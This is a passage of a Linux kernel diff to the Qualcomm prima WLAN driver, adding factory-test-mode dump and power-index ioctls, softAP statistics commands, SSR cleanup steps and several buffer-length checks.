vos_timer_getCurrentState(&pHddCtx->tx_rx_trafficTmr)) + if ((pHddCtx->cfg_ini->dynSplitscan)&& (VOS_TIMER_STATE_RUNNING == + vos_timer_getCurrentState(&pHddCtx->tx_rx_trafficTmr))) { vos_timer_stop(&pHddCtx->tx_rx_trafficTmr); } + vos_flush_delayed_work(&pHddCtx->spoof_mac_addr_work); hdd_reset_all_adapters(pHddCtx); + + /* set default value of Tcp delack and stop timer */ + hdd_set_default_stop_delack_timer(pHddCtx); + /* DeRegister with platform driver as client for Suspend/Resume */ vosStatus = hddDeregisterPmOps(pHddCtx); if ( !VOS_IS_STATUS_SUCCESS( vosStatus ) ) @@ -2040,6 +2101,9 @@ VOS_STATUS hdd_wlan_shutdown(void) vos_sched_flush_rx_mqs(vosSchedContext); #ifdef WLAN_LOGGING_SOCK_SVC_ENABLE wlan_logging_flush_pkt_queue(); + /*Free fw dump mem in case of SSR/Shutdown */ + wlan_set_fwr_mem_dump_state(FW_MEM_DUMP_IDLE); + wlan_free_fwr_mem_dump_buffer(); #endif /* Deinit all the TX and MC queues */ @@ -2188,7 +2252,8 @@ VOS_STATUS hdd_wlan_re_init(void) if ( !VOS_IS_STATUS_SUCCESS( vosStatus ) ) { hddLog(VOS_TRACE_LEVEL_FATAL,"%s: vos_start failed",__func__); - VOS_BUG(0); + if (isSsrPanicOnFailure()) + VOS_BUG(0); goto err_vosclose; } @@ -2242,6 +2307,9 @@ VOS_STATUS hdd_wlan_re_init(void) /* Restart all adapters */ hdd_start_all_adapters(pHddCtx); + pHddCtx->last_scan_reject_session_id = 0; + pHddCtx->last_scan_reject_reason = 0xFF; + pHddCtx->last_scan_reject_timestamp = 0; pHddCtx->hdd_mcastbcast_filter_set = FALSE; pHddCtx->btCoexModeSet = FALSE; hdd_register_mcast_bcast_filter(pHddCtx); @@ -2273,6 +2341,7 @@ VOS_STATUS hdd_wlan_re_init(void) __func__); goto err_unregister_pmops; } + sme_set_rssi_threshold_breached_cb(pHddCtx->hHal, hdd_rssi_threshold_breached_cb); vos_set_reinit_in_progress(VOS_MODULE_ID_VOSS, FALSE); sme_register_mgmt_frame_ind_callback(pHddCtx->hHal,hdd_indicate_mgmt_frame); @@ -2282,6 +2351,13 @@ VOS_STATUS hdd_wlan_re_init(void) wlan_hdd_cfg80211_extscan_callback, pHddCtx); #endif /* WLAN_FEATURE_EXTSCAN */ + +#ifdef FEATURE_OEM_DATA_SUPPORT + sme_OemDataRegisterCallback(pHddCtx->hHal, + wlan_hdd_cfg80211_oemdata_callback, + pHddCtx); +#endif /* FEATURE_OEM_DATA_SUPPORT */ + goto success; err_unregister_pmops: diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_ftm.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_ftm.c index cbe31d01277e2..7bf993d8c5f5c 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_ftm.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_ftm.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -76,6 +76,7 @@ #include "pttMsgApi.h" #include "wlan_qct_pal_device.h" #include "linux/wcnss_wlan.h" +#include "qc_sap_ioctl.h" #define RXMODE_DISABLE_ALL 0 #define RXMODE_ENABLE_ALL 1 @@ -474,6 +475,7 @@ typedef struct v_U16_t rxmode; v_U16_t chainSelect; ePhyChanBondState cbmode; + ePowerTempIndexSource powerIndex; } FTM_STATUS ; static FTM_STATUS ftm_status; @@ -507,6 +509,7 @@ static void _ftm_status_init(void) ftm_status.rxmode = RXMODE_ENABLE_ALL; /* macStart() enables all receive pkt types */ ftm_status.chainSelect = FTM_CHAIN_SEL_R0_T0_ON; ftm_status.cbmode = 0 ; //none channel bonding + ftm_status.powerIndex = FIXED_POWER_DBM; return; } @@ -1581,6 +1584,7 @@ nl_srv_exit(pHddCtx->ptt_pid); #else nl_srv_exit(); #endif /* WLAN_KD_READY_NOTIFIER */ +ptt_sock_deactivate_svc(pHddCtx); err_ftm_register_wext_close: hdd_UnregisterWext(pAdapter->dev); @@ -1625,17 +1629,17 @@ int wlan_hdd_ftm_close(hdd_context_t *pHddCtx) "%s: Ftm has been started. stopping ftm", __func__); wlan_ftm_stop(pHddCtx); } - #ifdef WLAN_KD_READY_NOTIFIER nl_srv_exit(pHddCtx->ptt_pid); #else nl_srv_exit(); #endif /* WLAN_KD_READY_NOTIFIER */ + ptt_sock_deactivate_svc(pHddCtx); + //TODO---------- //Deregister the device with the kernel hdd_UnregisterWext(pAdapter->dev); - hdd_close_all_adapters( pHddCtx ); #if 0 if(test_bit(NET_DEVICE_REGISTERED, &pAdapter->event_flags)) { @@ -1654,8 +1658,7 @@ int wlan_hdd_ftm_close(hdd_context_t *pHddCtx) //Close VOSS wlan_ftm_vos_close(vosContext); - - + hdd_close_all_adapters( pHddCtx ); vosStatus = vos_event_destroy(&pHddCtx->ftm.ftm_vos_event); if (!VOS_IS_STATUS_SUCCESS(vosStatus)) { @@ -3653,6 +3656,75 @@ static VOS_STATUS wlan_ftm_priv_set_channel(hdd_adapter_t *pAdapter,v_U16_t chan return status; } +static VOS_STATUS wlan_ftm_priv_set_dump(hdd_adapter_t *pAdapter, int *value) +{ + uPttMsgs *pMsgBody; + VOS_STATUS status; + long ret; + hdd_context_t *pHddCtx = (hdd_context_t *)pAdapter->pHddCtx; + + if (pHddCtx->ftm.ftm_state != WLAN_FTM_STARTED) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, + "%s:Ftm has not started. Please start the ftm. ", __func__); + return VOS_STATUS_E_FAILURE; + } + + if (NULL == pMsgBuf) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, + "%s:pMsgBuf is NULL", __func__); + return VOS_STATUS_E_NOMEM; + } + + vos_mem_set(pMsgBuf, sizeof(*pMsgBuf), 0); + init_completion(&pHddCtx->ftm.ftm_comp_var); + pMsgBuf->msgId = PTT_MSG_PRIMA_GENERIC_CMD; + pMsgBuf->msgBodyLength = sizeof(tMsgPttPrimaGenericCmd) + PTT_HEADER_LENGTH; + + pMsgBody = &pMsgBuf->msgBody; + + pMsgBody->PrimaGenericCmd.cmdIdx = value[0]; + pMsgBody->PrimaGenericCmd.param1 = value[1]; + pMsgBody->PrimaGenericCmd.param2 = value[2]; + pMsgBody->PrimaGenericCmd.param3 = value[3]; + pMsgBody->PrimaGenericCmd.param4 = value[4]; + + status = wlan_ftm_postmsg((v_U8_t*)pMsgBuf,pMsgBuf->msgBodyLength); + + if (status != VOS_STATUS_SUCCESS) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, + "%s:wlan_ftm_postmsg failed", __func__); + status = VOS_STATUS_E_FAILURE; + goto done; + } + + ret = wait_for_completion_interruptible_timeout(&pHddCtx->ftm.ftm_comp_var, + msecs_to_jiffies(WLAN_FTM_COMMAND_TIME_OUT)); + if (0 >= ret ) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("wait on ftm_comp_var failed %ld"), ret); + } + + if (pMsgBuf->msgResponse != PTT_STATUS_SUCCESS) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, + "%s:Ptt response status failed", __func__); + } + + if (pMsgBuf->msgResponse != PTT_STATUS_SUCCESS) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, + "%s:Ptt response status failed", __func__); + status = VOS_STATUS_E_FAILURE; + goto done; + } + +done: + return status; +} /**--------------------------------------------------------------------------- @@ -3926,7 +3998,7 @@ static VOS_STATUS wlan_ftm_priv_set_power_index(hdd_adapter_t *pAdapter, if (pwr_source > 3) { VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_FATAL, - "%s:invalid power index source. valid mode is 0 , 1, 2. ", + "%s:invalid power index source. valid mode is 0, 1, 2, 3. ", __func__); return VOS_STATUS_E_FAILURE; } @@ -3959,6 +4031,7 @@ static VOS_STATUS wlan_ftm_priv_set_power_index(hdd_adapter_t *pAdapter, goto done; } + ftm_status.powerIndex = pwr_source; done: return status; @@ -4048,7 +4121,8 @@ static VOS_STATUS wlan_ftm_priv_start_stop_tx_pktgen(hdd_adapter_t *pAdapter,v_U if (ftm_status.powerCtlMode == 2) //only for CLPC mode { - status = wlan_ftm_priv_set_power_index(pAdapter, FIXED_POWER_DBM) != VOS_STATUS_SUCCESS; //power index source set to Fixed + status = wlan_ftm_priv_set_power_index(pAdapter, + ftm_status.powerIndex); if(status != VOS_STATUS_SUCCESS) { goto done; @@ -5162,6 +5236,18 @@ static int __iw_ftm_setint_getnone(struct net_device *dev, struct iw_request_inf break; } + case WE_SET_POWER_INDEX: + { + status = wlan_ftm_priv_set_power_index(pAdapter, set_value); + if (status != VOS_STATUS_SUCCESS) + { + hddLog(VOS_TRACE_LEVEL_ERROR, "set power index failed = %d", + status); + ret = -EINVAL; + } + break; + } + default: { hddLog(LOGE, "Invalid IOCTL setvalue command %d value %d", @@ -5488,14 +5574,16 @@ static int __iw_ftm_set_var_ints_getnone(struct net_device *dev, struct iw_reque int sub_cmd = wrqu->data.flags; int *value = (int*)wrqu->data.pointer; int ret = 0; + VOS_STATUS status; ENTER(); - if(wrqu->data.length != 2) + if(wrqu->data.length < 2) { hddLog(LOGE, "Invalid number of Arguments %d ", wrqu->data.length); return -EINVAL; } + pAdapter = (netdev_priv(dev)); if (NULL == pAdapter) { @@ -5503,19 +5591,20 @@ static int __iw_ftm_set_var_ints_getnone(struct net_device *dev, struct iw_reque "%s: Adapter is NULL",__func__); return -EINVAL; } + pHddCtx = WLAN_HDD_GET_CTX(pAdapter); ret = wlan_hdd_validate_context(pHddCtx); if (0 != ret) { return ret; } + switch (sub_cmd) { case WE_SET_TX_WF_GAIN: { v_S15_t dGain = 0; v_U16_t rfGain = 0; - VOS_STATUS status; dGain = *(v_S15_t*) value++; rfGain = *(v_U16_t*) value; @@ -5530,6 +5619,23 @@ static int __iw_ftm_set_var_ints_getnone(struct net_device *dev, struct iw_reque } break; + case WE_SET_DUMP: + if (*value == 1) + { + status = wlan_ftm_priv_set_dump(pAdapter, value); + if(status != VOS_STATUS_SUCCESS) + { + hddLog(LOGE, "wlan_ftm_priv_set_dump Failed =%d\n", + status); + ret = -EINVAL; + } + }else + { + hddLog(LOGE, "%s arg[0]: %d expecting arg[0]: 1\n", + __func__, *value); + } + break; + default: { hddLog(LOGE, "Invalid IOCTL command %d ", sub_cmd ); @@ -5546,19 +5652,50 @@ static int iw_ftm_set_var_ints_getnone(struct net_device *dev, struct iw_request union iwreq_data *wrqu, char *extra) { int ret; + union iwreq_data u_priv_wrqu; + int apps_args[MAX_VAR_ARGS] = {0}; + int num_args; - if (!capable(CAP_NET_ADMIN)) - { - VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, - FL("permission check failed")); - return -EPERM; - } + if (!capable(CAP_NET_ADMIN)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + FL("permission check failed")); + return -EPERM; + } - vos_ssr_protect(__func__); - ret = __iw_ftm_set_var_ints_getnone(dev, info, wrqu, extra); - vos_ssr_unprotect(__func__); + /* helper function to get iwreq_data with compat handling. */ + if (hdd_priv_get_data(&u_priv_wrqu.data, wrqu)) + { + return -EINVAL; + } - return ret; + if (NULL == u_priv_wrqu.data.pointer) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: NULL data pointer", __func__); + return -EINVAL; + } + + num_args = u_priv_wrqu.data.length; + if (num_args > MAX_VAR_ARGS) + { + num_args = MAX_VAR_ARGS; + } + + if (copy_from_user(apps_args, u_priv_wrqu.data.pointer, + (sizeof(int)) * num_args)) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: failed to copy data from user buffer", __func__); + return -EFAULT; + } + + vos_ssr_protect(__func__); + ret = __iw_ftm_set_var_ints_getnone(dev, info, &u_priv_wrqu, + (char *)&apps_args); + vos_ssr_unprotect(__func__); + + return ret; } static const iw_handler we_ftm_private[] = { @@ -5654,6 +5791,11 @@ static const struct iw_priv_args we_ftm_private_args[] = { 0, "set_cb" }, + { WE_SET_POWER_INDEX, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, + 0, + "set_power_index" }, + /* handlers for main ioctl */ { WLAN_FTM_PRIV_SET_NONE_GET_INT, 0, @@ -5733,6 +5875,11 @@ static const struct iw_priv_args we_ftm_private_args[] = { 0, "set_nv_defaults" }, + { WE_SET_DUMP, + IW_PRIV_TYPE_INT | MAX_FTM_VAR_ARGS, + 0, + "dump" }, + }; const struct iw_handler_def we_ftm_handler_def = { diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_hostapd.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_hostapd.c index 9b4d613b2b595..e67db4d090442 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_hostapd.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_hostapd.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -1036,6 +1036,15 @@ VOS_STATUS hdd_hostapd_SAPEventCB( tpSap_Event pSapEvent, v_PVOID_t usrDataForCa vos_status, MAC_ADDR_ARRAY(wrqu.addr.sa_data)); } + staId = + pSapEvent->sapevt.sapStationAssocReassocCompleteEvent.staId; + if (VOS_IS_STATUS_SUCCESS(vos_status)) + { + + pSapCtx->aStaInfo[staId].rate_flags = + pSapEvent->sapevt.sapStationAssocReassocCompleteEvent.rate_flags; + } + // Stop AP inactivity timer if (pHddApCtx->hdd_ap_inactivity_timer.state == VOS_TIMER_STATE_RUNNING) { @@ -1078,6 +1087,8 @@ VOS_STATUS hdd_hostapd_SAPEventCB( tpSap_Event pSapEvent, v_PVOID_t usrDataForCa } } #endif + hdd_manage_delack_timer(pHddCtx); + pScanInfo = &pHddCtx->scan_info; // Lets do abort scan to ensure smooth authentication for client if ((pScanInfo != NULL) && pScanInfo->mScanPending) @@ -1142,6 +1153,7 @@ VOS_STATUS hdd_hostapd_SAPEventCB( tpSap_Event pSapEvent, v_PVOID_t usrDataForCa hddLog(LOGE, "%s: failed to update Beacon interval %d", __func__, vos_status); } + hdd_manage_delack_timer(pHddCtx); break; case eSAP_WPS_PBC_PROBE_REQ_EVENT: { @@ -1404,35 +1416,6 @@ int hdd_softap_unpackIE( } #ifdef FEATURE_WLAN_CH_AVOID -/**--------------------------------------------------------------------------- - - \brief hdd_hostapd_freq_to_chn() - - - Input frequency translated into channel number - - \param - freq input frequency with order of kHz - - \return - corresponding channel number. - incannot find correct channel number, return 0 - - --------------------------------------------------------------------------*/ -v_U16_t hdd_hostapd_freq_to_chn -( - v_U16_t freq -) -{ - int loop; - - for (loop = 0; loop < NUM_20MHZ_RF_CHANNELS; loop++) - { - if (rfChannels[loop].targetFreq == freq) - { - return rfChannels[loop].channelNum; - } - } - - return (0); -} /*========================================================================== FUNCTION sapUpdateUnsafeChannelList @@ -1564,9 +1547,13 @@ void hdd_hostapd_ch_avoid_cb NUM_20MHZ_RF_CHANNELS * sizeof(v_U16_t)); for (rangeLoop = 0; rangeLoop < chAvoidInd->avoidRangeCount; rangeLoop++) { - startChannel = hdd_hostapd_freq_to_chn( + if (unsafeChannelCount >= NUM_20MHZ_RF_CHANNELS) { + hddLog(LOGW, FL("LTE Coex unsafe channel list full")); + break; + } + startChannel = ieee80211_frequency_to_channel( chAvoidInd->avoidFreqRange[rangeLoop].startFreq); - endChannel = hdd_hostapd_freq_to_chn( + endChannel = ieee80211_frequency_to_channel( chAvoidInd->avoidFreqRange[rangeLoop].endFreq); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO, "%s : start %d : %d, end %d : %d", @@ -1604,6 +1591,10 @@ void hdd_hostapd_ch_avoid_cb "%s : unsafe channel %d, count %d", __func__, channelLoop, unsafeChannelCount); + if (unsafeChannelCount >= NUM_20MHZ_RF_CHANNELS) { + hddLog(LOGW, FL("LTE Coex unsafe channel list full")); + break; + } } } } @@ -1965,7 +1956,11 @@ static __iw_softap_setparam(struct net_device *dev, } break; } - + case QCSAP_PARAM_SET_PROXIMITY: + { + ret = wlan_hdd_set_proximity(set_value); + break; + } default: hddLog(LOGE, FL("Invalid setparam command %d value %d"), sub_cmd, set_value); @@ -2794,6 +2789,163 @@ static __iw_softap_ap_stats(struct net_device *dev, EXIT(); return 0; } +int +static __iw_softap_ap_get_stats(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + hdd_adapter_t *pAdapter; + hdd_tx_rx_stats_t *pStats; + + ENTER(); + pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + if (NULL == pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Adapter is NULL",__func__); + return -EINVAL; + } + + pStats = &pAdapter->hdd_stats.hddTxRxStats; + snprintf(extra, QCSAP_MAX_STR_LEN, + "\nTransmit" + "\ncalled %u, dropped %u, backpressured %u, queued %u" + "\n dropped BK %u, BE %u, VI %u, VO %u" + "\n classified BK %u, BE %u, VI %u, VO %u" + "\nbackpressured BK %u, BE %u, VI %u, VO %u" + "\n queued BK %u, BE %u, VI %u, VO %u" + "\nfetched %u, empty %u, lowres %u, deqerr %u" + "\ndequeued %u, depressured %u, deque-depressured %u,\ + completed %u, flushed %u" + "\n fetched BK %u, BE %u, VI %u, VO %u" + "\n dequeued BK %u, BE %u, VI %u, VO %u" + "\n depressured BK %u, BE %u, VI %u, VO %u" + "\nDeque depressured BK %u, BE %u, VI %u, VO %u" + "\n flushed BK %u, BE %u, VI %u, VO %u" + "\n\nReceive" + "\nchains %u, packets %u, dropped %u, delivered %u, refused %u" + "\n\nResetsStats" + "\n", + pStats->txXmitCalled, + pStats->txXmitDropped, + pStats->txXmitBackPressured, + pStats->txXmitQueued, + + pStats->txXmitDroppedAC[WLANTL_AC_BK], + pStats->txXmitDroppedAC[WLANTL_AC_BE], + pStats->txXmitDroppedAC[WLANTL_AC_VI], + pStats->txXmitDroppedAC[WLANTL_AC_VO], + + pStats->txXmitClassifiedAC[WLANTL_AC_BK], + pStats->txXmitClassifiedAC[WLANTL_AC_BE], + pStats->txXmitClassifiedAC[WLANTL_AC_VI], + pStats->txXmitClassifiedAC[WLANTL_AC_VO], + + pStats->txXmitBackPressuredAC[WLANTL_AC_BK], + pStats->txXmitBackPressuredAC[WLANTL_AC_BE], + pStats->txXmitBackPressuredAC[WLANTL_AC_VI], + pStats->txXmitBackPressuredAC[WLANTL_AC_VO], + + pStats->txXmitQueuedAC[WLANTL_AC_BK], + pStats->txXmitQueuedAC[WLANTL_AC_BE], + pStats->txXmitQueuedAC[WLANTL_AC_VI], + pStats->txXmitQueuedAC[WLANTL_AC_VO], + + pStats->txFetched, + pStats->txFetchEmpty, + pStats->txFetchLowResources, + pStats->txFetchDequeueError, + + pStats->txFetchDequeued, + pStats->txFetchDePressured, + pStats->txDequeDePressured, + pStats->txCompleted, + pStats->txFlushed, + + pStats->txFetchedAC[WLANTL_AC_BK], + pStats->txFetchedAC[WLANTL_AC_BE], + pStats->txFetchedAC[WLANTL_AC_VI], + pStats->txFetchedAC[WLANTL_AC_VO], + + pStats->txFetchDequeuedAC[WLANTL_AC_BK], + pStats->txFetchDequeuedAC[WLANTL_AC_BE], + pStats->txFetchDequeuedAC[WLANTL_AC_VI], + pStats->txFetchDequeuedAC[WLANTL_AC_VO], + + pStats->txFetchDePressuredAC[WLANTL_AC_BK], + pStats->txFetchDePressuredAC[WLANTL_AC_BE], + pStats->txFetchDePressuredAC[WLANTL_AC_VI], + pStats->txFetchDePressuredAC[WLANTL_AC_VO], + + pStats->txDequeDePressuredAC[WLANTL_AC_BK], + pStats->txDequeDePressuredAC[WLANTL_AC_BE], + pStats->txDequeDePressuredAC[WLANTL_AC_VI], + pStats->txDequeDePressuredAC[WLANTL_AC_VO], + + pStats->txFlushedAC[WLANTL_AC_BK], + pStats->txFlushedAC[WLANTL_AC_BE], + pStats->txFlushedAC[WLANTL_AC_VI], + pStats->txFlushedAC[WLANTL_AC_VO], + + pStats->rxChains, + pStats->rxPackets, + pStats->rxDropped, + pStats->rxDelivered, + pStats->rxRefused + ); + + wrqu->data.length = strlen(extra) + 1; + + return 0; +} + +int +static __iw_softap_ap_clear_stats(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + hdd_adapter_t *pAdapter; + + ENTER(); + + pAdapter = WLAN_HDD_GET_PRIV_PTR(dev); + if (NULL == pAdapter) + { + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_ERROR, + "%s: Adapter is NULL",__func__); + return -EINVAL; + } + + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO,"%s: clearing", __func__); + memset(&pAdapter->stats, 0, sizeof(pAdapter->stats)); + memset(&pAdapter->hdd_stats, 0, sizeof(pAdapter->hdd_stats)); + return 0; +} + + +int +static iw_softap_get_stats(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret; + vos_ssr_protect(__func__); + ret = __iw_softap_ap_get_stats(dev, info, wrqu, extra); + vos_ssr_unprotect(__func__); + return ret; +} + +int +static iw_softap_clear_stats(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret; + vos_ssr_protect(__func__); + ret = __iw_softap_ap_clear_stats(dev, info, wrqu, extra); + vos_ssr_unprotect(__func__); + return ret; +} int static iw_softap_ap_stats(struct net_device *dev, @@ -2982,11 +3134,6 @@ int __iw_softap_get_channel_list(struct net_device *dev, hddLog(LOG1,FL(" number of channels %d"), num_channels); - if (num_channels > IW_MAX_FREQUENCIES) - { - num_channels = IW_MAX_FREQUENCIES; - } - channel_list->num_channels = num_channels; EXIT(); @@ -3014,7 +3161,7 @@ int __iw_get_genie(struct net_device *dev, hdd_adapter_t *pHostapdAdapter; hdd_context_t *pHddCtx; v_CONTEXT_t pVosContext; - eHalStatus status; + VOS_STATUS status; v_U32_t length = DOT11F_IE_RSN_MAX_LEN; v_U8_t genIeBytes[DOT11F_IE_RSN_MAX_LEN]; int ret = 0; @@ -3046,19 +3193,23 @@ int __iw_get_genie(struct net_device *dev, status = WLANSap_getstationIE_information(pVosContext, &length, genIeBytes); - length = VOS_MIN((u_int16_t) length, DOT11F_IE_RSN_MAX_LEN); - if (wrqu->data.length < length || - copy_to_user(wrqu->data.pointer, - (v_VOID_t*)genIeBytes, length)) - { - hddLog(LOG1, "%s: failed to copy data to user buffer", __func__); + + if (VOS_STATUS_SUCCESS != status) { + hddLog(LOGE, FL("failed to get sta ies")); return -EFAULT; } + wrqu->data.length = length; - - hddLog(LOG1,FL(" RSN IE of %d bytes returned"), wrqu->data.length ); - - + if (length > DOT11F_IE_RSN_MAX_LEN) { + hddLog(LOGE, + FL("invalid buffer length length:%d"), length); + return -E2BIG; + } + + vos_mem_copy(extra, genIeBytes, length); + + hddLog(LOG1, FL("RSN IE of %d bytes returned"), wrqu->data.length); + EXIT(); return 0; } @@ -3817,7 +3968,7 @@ static int iw_softap_version(struct net_device *dev, return ret; } -VOS_STATUS hdd_softap_get_sta_info(hdd_adapter_t *pAdapter, v_U8_t *pBuf, int buf_len) +int hdd_softap_get_sta_info(hdd_adapter_t *pAdapter, v_U8_t *pBuf, int buf_len) { v_U8_t i; int len = 0; @@ -3854,7 +4005,11 @@ VOS_STATUS hdd_softap_get_sta_info(hdd_adapter_t *pAdapter, v_U8_t *pBuf, int bu return VOS_STATUS_E_FAULT; } - len = scnprintf(pBuf, buf_len, sta_info_header); + len = snprintf(pBuf, buf_len, sta_info_header); + if (len >= buf_len) { + hddLog(LOGE, FL("Insufficient buffer:%d, %d"), buf_len, len); + return -E2BIG; + } pBuf += len; buf_len -= len; @@ -3870,6 +4025,10 @@ VOS_STATUS hdd_softap_get_sta_info(hdd_adapter_t *pAdapter, v_U8_t *pBuf, int bu pSapCtx->aStaInfo[i].macAddrSTA.bytes[3], pSapCtx->aStaInfo[i].macAddrSTA.bytes[4], pSapCtx->aStaInfo[i].macAddrSTA.bytes[5]); + if (len >= buf_len) { + hddLog(LOGE, FL("Insufficient buffer:%d, %d"), buf_len, len); + return -E2BIG; + } pBuf += len; buf_len -= len; } @@ -3879,7 +4038,7 @@ VOS_STATUS hdd_softap_get_sta_info(hdd_adapter_t *pAdapter, v_U8_t *pBuf, int bu } } EXIT(); - return VOS_STATUS_SUCCESS; + return 0; } static int __iw_softap_get_sta_info(struct net_device *dev, @@ -3888,12 +4047,12 @@ static int __iw_softap_get_sta_info(struct net_device *dev, char *extra) { hdd_adapter_t *pHostapdAdapter = (netdev_priv(dev)); - VOS_STATUS status; + int ret; ENTER(); - status = hdd_softap_get_sta_info(pHostapdAdapter, extra, WE_SAP_MAX_STA_INFO); - if ( !VOS_IS_STATUS_SUCCESS( status ) ) { + ret = hdd_softap_get_sta_info(pHostapdAdapter, extra, WE_SAP_MAX_STA_INFO); + if (ret) { hddLog(VOS_TRACE_LEVEL_ERROR, "%s Failed!!!",__func__); - return -EINVAL; + return ret; } wrqu->data.length = strlen(extra); EXIT(); @@ -4258,6 +4417,8 @@ static const struct iw_priv_args hostapd_private_args[] = { IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "hideSSID" }, { QCSAP_PARAM_SET_MC_RATE, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "setMcRate" }, + { QCSAP_PARAM_SET_PROXIMITY, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "setProximity" }, { QCSAP_IOCTL_GETPARAM, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, "getparam" }, @@ -4276,7 +4437,7 @@ static const struct iw_priv_args hostapd_private_args[] = { { QCSAP_PARAM_ACL_MODE, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "setAclMode" }, { QCSAP_IOCTL_GET_STAWPAIE, - IW_PRIV_TYPE_BYTE | IW_PRIV_SIZE_FIXED | 1, 0, "get_staWPAIE" }, + 0, IW_PRIV_TYPE_BYTE | DOT11F_IE_RSN_MAX_LEN, "get_staWPAIE" }, { QCSAP_IOCTL_STOPBSS, IW_PRIV_TYPE_BYTE | IW_PRIV_SIZE_FIXED, 0, "stopbss" }, { QCSAP_IOCTL_VERSION, 0, @@ -4291,6 +4452,9 @@ static const struct iw_priv_args hostapd_private_args[] = { IW_PRIV_TYPE_BYTE | IW_PRIV_SIZE_FIXED | 6 , 0, "disassoc_sta" }, { QCSAP_IOCTL_AP_STATS, 0, IW_PRIV_TYPE_CHAR | QCSAP_MAX_WSC_IE, "ap_stats" }, + { QCSAP_IOCTL_GET_STATS, 0, + IW_PRIV_TYPE_CHAR | QCSAP_MAX_STR_LEN, "getStats"}, + { QCSAP_IOCTL_CLR_STATS, 0, 0, "clearStats" }, { QCSAP_IOCTL_PRIV_GET_SOFTAP_LINK_SPEED, IW_PRIV_TYPE_CHAR | 18, IW_PRIV_TYPE_CHAR | 5, "getLinkSpeed" }, @@ -4390,6 +4554,8 @@ static const iw_handler hostapd_private[] = { [QCSAP_IOCTL_SET_MAX_TX_POWER - SIOCIWFIRSTPRIV] = iw_softap_set_max_tx_power, [QCSAP_IOCTL_DATAPATH_SNAP_SHOT - SIOCIWFIRSTPRIV] = iw_display_data_path_snapshot, [QCSAP_IOCTL_SET_TRAFFIC_MONITOR - SIOCIWFIRSTPRIV] = iw_softap_set_trafficmonitor, + [QCSAP_IOCTL_GET_STATS - SIOCIWFIRSTPRIV] = iw_softap_get_stats, + [QCSAP_IOCTL_CLR_STATS - SIOCIWFIRSTPRIV] = iw_softap_clear_stats, }; const struct iw_handler_def hostapd_handler_def = { .num_standard = sizeof(hostapd_handler) / sizeof(hostapd_handler[0]), diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_main.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_main.c old mode 100755 new mode 100644 index 05e40c7f33520..08481e71c9bc0 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_main.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_main.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -176,6 +176,15 @@ DEFINE_SPINLOCK(hdd_context_lock); #define SIZE_OF_SETROAMMODE 11 /* size of SETROAMMODE */ #define SIZE_OF_GETROAMMODE 11 /* size of GETROAMMODE */ +#ifdef WLAN_FEATURE_RMC +/* + * Ibss prop IE from command will be of size: + * size = sizeof(oui) + sizeof(oui_data) + 1(Element ID) + 1(EID Length) + * OUI_DATA should be at least 3 bytes long + */ +#define WLAN_HDD_IBSS_MIN_OUI_DATA_LENGTH (3) +#endif + #if defined(FEATURE_WLAN_ESE) && defined(FEATURE_WLAN_ESE_UPLOAD) #define 